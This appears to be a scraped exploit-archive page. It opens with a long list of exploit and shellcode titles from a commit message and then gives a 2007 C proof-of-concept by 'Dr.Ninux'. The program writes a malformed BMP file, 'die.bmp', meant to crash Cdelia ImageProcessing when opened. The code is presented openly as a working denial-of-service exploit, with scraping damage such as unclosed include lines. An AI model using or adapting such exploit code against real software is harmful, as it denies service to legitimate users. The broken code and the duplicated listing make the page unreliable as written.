880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
1.8 KiB
C
65 lines
No EOL
1.8 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/23629/info
|
|
|
|
Cdelia Software ImageProcessing is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.
|
|
|
|
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
|
|
*/
|
|
|
|
/*
|
|
**********************************
|
|
## Exploit Coded By Dr.Ninux ##
|
|
## www.LeZr.com ##
|
|
## LeZr.com Security Team ##
|
|
## Dr.Ninux@bsdmail.org ##
|
|
**********************************
|
|
## 24 April 2007 , Tuesday
|
|
## This exploit will create an image (bmp)
|
|
## try to open it with "ImageProcessing" from Cdelia Software co.
|
|
## then the program will be die...!
|
|
**********************************
|
|
##
|
|
## grEEts to:
|
|
## Dr.Virus9,Qptan(Linux_Drox),Q8trojan,BataWeel,SAUDI,RoDhEDoR,
|
|
## Arab4services.com,The_DoN,aseer-alnjoom,Maxy,hacaar...AND milw0rm.com
|
|
##
|
|
*/
|
|
|
|
#include <stdio.h
|
|
#include <stdlib.h
|
|
|
|
#define INV_PIC "die.bmp"
|
|
|
|
int main()
|
|
{
|
|
|
|
int i=0;
|
|
char inv_[]="LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL";
|
|
FILE* inv_pic;
|
|
|
|
printf("\t\t**********************************\n");
|
|
printf("\t\t ## Exploit Coded By Dr.Ninux ##\n");
|
|
printf("\t\t ## www.LeZr.com ##\n");
|
|
printf("\t\t ## LeZr.com Security Team ##\n");
|
|
printf("\t\t ## Dr.Ninux@bsdmail.org ##\n");
|
|
printf("\t\t**********************************\n");
|
|
printf("\n");
|
|
|
|
if((inv_pic=fopen(INV_PIC,"wb"))==NULL)
|
|
{
|
|
printf("error:foepn().\n");
|
|
exit(0);
|
|
}
|
|
|
|
printf("[+]Creating |invalid picture| ... plz wait.\n");
|
|
|
|
for(i=0;i<sizeof(inv_);i++)
|
|
{
|
|
fputc(inv_[i],inv_pic);
|
|
}
|
|
|
|
fclose(inv_pic);
|
|
printf("[+]BMP File %s Successfuly Created...\n",INV_PIC);
|
|
|
|
return 0;
|
|
} |